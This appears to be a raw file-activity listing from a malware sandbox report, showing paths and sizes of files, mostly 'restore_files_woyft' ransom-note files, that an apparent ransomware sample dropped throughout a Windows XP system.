%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\29\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\UserData\2Z89WTQV\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\43\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Local Settings\Temporary Internet Files\Content.IE5\CHEZ8TER\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\UserData\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\30\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Acrobat\9.0\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\Credentials\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\jre1.6.0_18\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\CryptnetUrlCache\Content\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\4\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Updater6\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\SystemCertificates\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Acrobat\9.0\Collab\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\42\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\6\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\PrintHood\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Games\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Start Menu\Programs\Accessories\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\48\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Protect\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Recent\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Local Settings\Application Data\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\Credentials\S-1-5-19\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\48\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Internet Explorer\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\63\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Application Data\Microsoft\Media Player\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Recent\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Start Menu\Programs\Accessories\Accessibility\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\24\restore_files_woyft.html (5 bytes)
C:\RECYCLER\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\#SharedObjects\QEA5Z3QJ\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Accessories\Entertainment\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\41\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Application Data\Microsoft\SystemCertificates\My\CRLs\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\SystemCertificates\My\CTLs\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Linguistics\Dictionaries\Adobe Custom Dictionary\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\38\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\My Documents\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Reader 9.3\Setup Files\Reader9\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Local Settings\Application Data\Microsoft\Windows\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Application Data\Microsoft\SystemCertificates\My\CTLs\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Local Settings\restore_files_woyft.html (5 bytes)
C:\RECYCLER\S-1-5-21-1844237615-1960408961-1801674531-1003\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\50\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Linguistics\Dictionaries\Adobe Custom Dictionary\can\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\GROZIFO7\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\33\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\Credentials\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\My Documents\Recovery_File_xpcyiernx.txt (250 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Credentials\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Wireshark\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\Internet Explorer\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\27\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\50\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Application Data\Microsoft\SystemCertificates\My\CRLs\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Acrobat\9.0\Forms\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Templates\powerpnt.ppt (454 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Z016340J\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\25\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\39\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\49\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Accessories\Accessibility\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\MMC\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\49\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Application Data\Microsoft\SystemCertificates\My\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\7\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Accessories\Communications\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Documents\My Pictures\Sample Pictures\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\28\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\1\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\33\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Cookies\index.dat (400 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\4\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\43\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\UserData\YJM90VAL\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Documents\My Music\Sample Playlists\00064D96\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\19\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\27\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\12\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\SystemCertificates\My\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\muffin\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Desktop\RESTORE_FILES.TXT (2 bytes)
%Documents and Settings%\Default User\Local Settings\Temporary Internet Files\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\35\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\SRKX8H05\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\SendTo\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\#SharedObjects\restore_files_woyft.txt (2 bytes)
C:\RECYCLER\S-1-5-21-1844237615-1960408961-1801674531-1003\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Crypto\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\5\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\32\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\8\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Templates\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\40\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\desktop.ini (159 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\40\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\NTUSER.DAT (9284 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\59\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\SendTo\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Linguistics\Dictionaries\Adobe Custom Dictionary\brt\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Favorites\Links\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Accessories\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\49\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\4\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\macromedia.com\support\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Favorites\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\54\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Local Settings\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\SystemCertificates\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\SystemCertificates\My\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\29\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Z016340J\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\My Documents\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\62\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\0\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\63\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Credentials\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\60\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Wireshark\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Documents\My Pictures\Sample Pictures\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\ActivePerl 5.16.2 Build 1602\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\11\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\57\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\Windows Media\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\38\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Local Settings\Temporary Internet Files\Content.IE5\CHEZ8TER\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\GHISLER\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Local Settings\Temporary Internet Files\Content.IE5\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Acrobat\9.0\Cache\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Flash Player\AssetCache\E7VJ4HGS\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\52\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Local Settings\History\History.IE5\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\42\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Local Settings\History\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Cookies\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\22\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Acrobat\9.0\Collab\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\SystemCertificates\My\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\Internet Explorer\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\23\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Documents\My Music\Sample Playlists\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Acrobat\9.0\Forms\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Local Settings\History\History.IE5\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Cookies\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\SystemCertificates\My\CRLs\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Templates\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\DROHCDE3\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\18\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\42\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\6\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\23\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\UserData\YJM90VAL\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Local Settings\History\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\Windows\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Start Menu\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\54\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Credentials\S-1-5-21-1844237615-1960408961-1801674531-1003\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\Temporary Internet Files\Content.IE5\KP27CLYF\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Start Menu\Programs\Accessories\Entertainment\restore_files_woyft.html (5 bytes)
C:\totalcmd\SIZE!.TXT (1606 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\Accessories\Accessibility\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\57\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\VMware\VMware Tools\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\#SharedObjects\QEA5Z3QJ\kiks.yandex.ru\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\UserData\KTOR0Z81\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Local Settings\Temp\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Linguistics\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Documents\My Pictures\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\56\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Application Data\Microsoft\Media Player\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\36\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\Application Data\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\GHISLER\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\8\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Local Settings\Temporary Internet Files\Content.IE5\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\Accessories\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\21\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\macromedia.com\support\flashplayer\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\13\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\44\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Application Data\Microsoft\SystemCertificates\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\NetHood\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Color\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\NetHood\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\SystemCertificates\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\46\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\VMware\restore_files_woyft.html (5 bytes)
C:\totalcmd\LANGUAGE\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\13\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\53\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Application Data\Microsoft\SystemCertificates\My\CTLs\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\Startup\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Recent\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\Accessories\Entertainment\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Application Data\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\10\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Updater6\Install\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Flash Player\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\DRM\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Templates\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\15\restore_files_woyft.html (5 bytes)
C:\totalcmd\HISTORY.TXT (3890 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\17\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\27\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys\#kiks.yandex.ru\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\6\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Internet Explorer\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Local Settings\History\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Cookies\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Linguistics\Dictionaries\Adobe Custom Dictionary\can\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Flash Player\AssetCache\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\1\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\59\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\43\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\SendTo\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\44\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\45\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\14\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Local Settings\Application Data\Microsoft\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Local Settings\Application Data\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\20\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Local Settings\History\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\GHISLER\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Linguistics\Dictionaries\Adobe Custom Dictionary\eng\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\57\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\10\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Start Menu\restore_files_woyft.html (5 bytes)
C:\RECYCLER\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Start Menu\Programs\Startup\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Wireshark\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\17\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\10\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\22\restore_files_woyft.txt (2 bytes)
C:\totalcmd\DEFAULT.BAR (2816 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Crypto\RSA\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\tmp\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\NetHood\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\SystemCertificates\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\35\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\Total Commander\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Linguistics\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\SystemCertificates\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\30\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Identities\{37E80C13-CB45-4DCE-A438-545B791476AC}\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Local Settings\Application Data\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\muffin\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\14\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Favorites\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Start Menu\Programs\Accessories\Entertainment\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\12\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\51\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\AU\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\45\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Linguistics\Dictionaries\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\Media Player\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Startup\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\51\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\18\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Reader 9.3\Setup Files\restore_files_woyft.html (5 bytes)
%System%\config\software (2547 bytes)
